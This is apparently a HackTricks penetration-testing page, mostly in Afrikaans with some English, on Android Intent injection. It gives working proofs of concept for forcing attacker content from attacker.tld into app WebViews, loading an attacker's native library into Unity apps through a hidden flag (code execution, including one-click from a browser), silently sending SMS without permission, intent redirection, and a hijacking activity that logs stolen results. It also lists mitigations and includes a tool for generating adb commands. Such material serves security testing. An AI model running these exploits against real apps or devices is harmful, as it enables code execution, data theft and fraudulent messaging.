Intent Injection

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Intent injection misbruik komponentë wat aanvaller-gekontroleerde Intents of data wat later in Intents omgeskakel word, aanvaar. Twee baie algemene patrone tydens Android app pentests is:

  • Deur aangepaste extras aan exported Activities/Services/BroadcastReceivers te stuur wat later na bevoorregte, non-exported komponentes deurgegee word.
  • Aktiveer exported VIEW/BROWSABLE deep links wat deur die aanvaller beheerde URLs na interne WebViews of ander sensitiewe sinks deurstuur.

Indien ’n app ’n custom scheme deep link blootstel soos:

myscheme://com.example.app/web?url=<attacker_url>

en as die ontvangende Activity die url queryparameter na ’n WebView deurgee, kan jy die app dwing om willekeurige eksterne inhoud in sy eie WebView-konteks te vertoon.

PoC via adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS voer binne die app’s WebView-profiel uit.
  • If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed @JavascriptInterface objects, steal WebView cookies/local storage, and pivot.

See also:

Webview Attacks

Order-of-checks bug enabling JavaScript

A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late.

What to look for in decompiled code:

  • Meerdere helpers wat die URL op verskillende maniere parse/split/rebuild (inconsistent normalization).
  • Aanroepe na getSettings().setJavaScriptEnabled(true) voor die laaste host/path allowlist check.
  • ’n pipeline soos: parse → partial validate → configure WebView → final verify → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unity’s Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.

A dangerous, undocumented flag leads to native code execution during very early process initialization:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.

Reverse-engineering excerpt (simplified):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Waarom dit werk

  • Die Intent extra unity word ontleed in Unity runtime-vlagte.
  • Deur die pre-init flag te verskaf wys Unity na ’n attacker-controlled ELF path binne ’n toegelate linker namespace path (sien beperkings hieronder).

Voorwaardes vir uitbuiting

  • Die Unity entry Activity is exported (gewoonlik standaard waar).
  • Vir one-click remote via browser: die entry Activity verklaar ook android.intent.category.BROWSABLE sodat extras van ’n intent: URL deurgegee kan word.

Lokale uitbuiting (dieselfde toestel)

  1. Plaas ’n payload ELF op ’n pad wat deur die victim app gelees kan word. Maklikste: los ’n malicious library in jou eie attacker app en verseker dit word uitgepak onder /data/app/.../lib/<abi>/ deur dit in die attacker’s manifest te stel:
<application android:extractNativeLibs="true" ...>
  1. Begin die slagoffer se Unity activity met die CLI pre-init flag in die unity extra. Voorbeeld ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); jou payload loop in die slagofferproses en erf al die app-magtigings (kamera/mikrofoon/netwerk/stoor, ens.) en toegang tot in-app sessies/data.

Notes

  • Die presiese /data/app/...-pad verskil tussen toestelle/installasies. ’n attacker app kan sy eie native lib dir tydens runtime opvra via getApplicationInfo().nativeLibraryDir en dit aan die trigger kommunikeer.
  • Die lĂȘer hoef nie op .so te eindig nie as dit ’n geldige ELF is — dlopen() kyk na ELF-koptekste, nie na uitbreidings nie.

Remote one‑click via browser (conditional) If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Op moderne Android blokkeer die dynamic linker namespaces en SELinux die laai vanaf baie openbare paaie (bv. /sdcard/Download). Jy sal foute soos die volgende sien:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Omseilstrategie: mik op apps wat aanvaller-beheerde bytes onder hul private berging kashou (bv. HTTP caches). Omdat toegelate paaie /data en die app’s private dir insluit, kan -xrsdk-pre-init-library na ’n absolute pad binne die app se cache gewys word om aan linker‑beperkings te voldoen en kode‑uitvoering te bewerkstellig. Dit weerspieĂ«l vroeĂ«re cache-to-ELF RCE‑patrone wat in ander Android‑apps ervaar is.

Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)

Sommige standaard‑messaging‑apps voer implisiete messaging intents verkeerdelik outomaties uit en verander dit in ’n confused‑deputy primitive: enige onnprivilegieerde app kan Intent.ACTION_SENDTO met sms:, smsto:, mms:, of mmsto: aktiveer en ’n onmiddellike stuur veroorsaak sonder ’n bevestigings‑UI en sonder die SEND_SMS‑permit.

Belangrike punte

  • Uitloker: implisiete ACTION_SENDTO + messaging URI‑skema.
  • Data: stel ontvanger in die URI, boodskapteks in die "sms_body" extra.
  • Permissions: geen (geen SEND_SMS), afhanklik van die standaard SMS/MMS‑handler.
  • Waargeneem: Google Messages for Wear OS (gepatch Mei 2025). Ander handlers moet soortgelyk geĂ«valueer word.

Minimal payload (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (geen spesiale toestemmings)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Attack surface expansion (Wear OS)

  • Enige komponent wat aktiwiteite kan begin, kan dieselfde payload vuur: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • If the default handler auto‑sends, abuse can be one‑tap or fully silent from background contexts depending on OEM policies.

Pentest checklist

  • Resolve ACTION_SENDTO on target to identify the default handler; verify whether it shows a compose UI or silently sends.
  • Exercise all four schemes (sms:, smsto:, mms:, mmsto:) and extras (sms_body, optionally subject for MMS) to check behaviour differences.
  • Consider charged destinations/premium‑rate numbers when testing on real devices.

Other classic Intent injection primitives

  • startActivity/sendBroadcast wat aanvaller-geskepte Intent extras gebruik wat later hergeparseer word (Intent.parseUri(...)) en uitgevoer word.
  • Exported proxy components that forward Intents to non-exported sensitive components without permission checks.

Automating exported-component testing (Smali-driven ADB generation)

Wanneer exported components spesifieke extras verwag, veroorsaak raai oor payload-vorm tydverspilling en vals-negatiewe. Jy kan die ontdekking van sleutels/tipes direk uit Smali outomatiseer en gereed-vir-uitvoering adb-opdragte uitset.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: decompile and scan Smali for calls like getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() to infer which extras and fields are consumed by each component.
  • Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact adb shell am .../cmd content ... command with correctly typed flags.

Installeer

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Gebruik

python apk-components-inspector.py target.apk

Voorbeelduitset

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras spiekbrief (tipe-bewuste flags)

  • Strings: --es key value | String array: --esa key v1,v2
  • Integers: --ei key 123 | Int array: --eia key 1,2,3
  • Booleans: --ez key true|false
  • Longs: --el key 1234567890
  • Floats: --ef key 1.23
  • URIs (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • Algemene flags: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro-wenk vir ContentProviders

  • Gebruik adb shell cmd content query|insert|update|delete ... om ContentProviders te bereik sonder agents.
  • Vir SQLi-probing, varieer --projection en --where (aka selection) wanneer die onderliggende provider SQLite-backed is.

Volledige pyplyn-automatisering (interaktiewe executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Hulpskrip om adb-opdragte te parseer en uit te voer ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command
”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

Voer op toestel uit: die inspector is Python-gebaseerd en werk in Termux of op gerootte fone waar `apktool`/`androguard` beskikbaar is.

---

## Intent Redirection (CWE-926) – vind en uitbuit

Patroon
- ’n geĂ«ksporteerde toegangspunt (Activity/Service/Receiver) lees ’n inkomende Intent en stuur dit intern of ekstern deur sonder om die bron/data te verifieer, bv.:
- `startActivity(getIntent())`
- `startActivity(intent)` waar `intent` van ’n extra gekom het soos `redirect_intent`/`next_intent`/`pending_intent` of `Intent.parseUri(...)`.
- Vertrou op `action`/`data`/`component` velde sonder kontroles; verifieer nie die oproeper se identiteit nie.

Wat om te soek in Smali/Java
- Gebruik van `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Direk `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` op deur ’n aanvaller beïnvloedde Intents.
- Gebrek aan `getCallingPackage()`/`getCallingActivity()` kontroles of pasgemaakte permissie-kontroles.

ADB PoC templates
- Proxy Activity wat ’n ekstra Intent na ’n bevoorregte interne Activity deurstuur:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • GeĂ«ksporteerde Service wat ’n redirect_intent parcelable hanteer:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Uitgevoerde ontvanger wat herlei sonder validering:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Vlagte nuttig vir singleTask-styl gedrag

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Werklike voorbeelde (impak wissel):

  • CVE-2024-26131 (Element Android): exported flows wat lei tot WebView-manipulasie, PIN-omseiling, login hijack.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → stelselvlak-effekte.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): omleiding → arbitrĂȘre lĂȘertoegang (met gebruikerinteraksie).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak inhoud.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

Bedreigingsmodel

  • App A verwag ’n sensitiewe resultaat van App B via ’n implicit Intent (bv. ’n OAuth-omleiding, ’n dokumentkieser-resultaat, ’n IMAGE_CAPTURE-terugkeer, of ’n pasgemaakte callback-aksie).
  • Aanvaller App C publiseer ’n exported komponent met ’n ooreenstemmende <intent-filter> vir dieselfde action/category/data. Wanneer B die implicit Intent oplos, kan die resolver ’n kieser vertoon; as die gebruiker C kies (of dit as standaard stel), word die payload aan die aanvaller-komponent gelewer in plaas van aan A.

Minimal PoC-manifest (aanvaller):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Handler-skelet:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Notes

  • Wedstrydspesifisiteit maak saak (action + categories + data). Hoe meer spesifiek C se filter op B se uitgaande Intent is, hoe groter is die kans dat dit getoon of outomaties geselekteer word.
  • Dit geld ook vir diepe skakels (VIEW + BROWSABLE) wanneer apps verwag dat ’n ander app ’n URL hanteer en iets terugstuur.

Pentest guidance

  • Grep die teiken vir startActivity/startActivityForResult/registerForActivityResult oproepe wat nie-explicit Intents gebruik.
  • Inspekteer Intents wat tokens dra in extras, clipData, of getData() en kyk of ’n derde party ’n versoenbare filter kan registreer.
  • Beveel aan om implicit flows te vervang met explicit Intents (set setPackage()/setComponent()), of om caller-permission/signed permissions op exported receivers/services te vereis.

Mitigations

  • Voorkeur vir explicit Intents vir sensitiewe flows (callbacks, tokens, auth results).
  • Wanneer cross-app nodig is, voeg permission requirements by die ontvangende komponent en valideer die caller se identiteit.
  • Beperk en verskerp Intent filters tot slegs wat streng nodig is (scheme/host/path/MIME).

Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)

As jy die sender beheer, voeg Intent.FLAG_DEBUG_LOG_RESOLUTION by ’n implicit Intent om Android te laat log hoe resolusie plaasvind en watter komponent gekies sal word.

Example:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

Wat jy in adb logcat sal sien, is die oplossingsspoor en die finale komponent, bv. com.android.camera2/com.android.camera.CaptureActivity.

CLI wenk

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Dit is nuttig om kandidaat-handlers op ’n toestel/emulator op te som en presies te bevestig watter komponent ’n Intent tydens toetsing sal ontvang.


Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks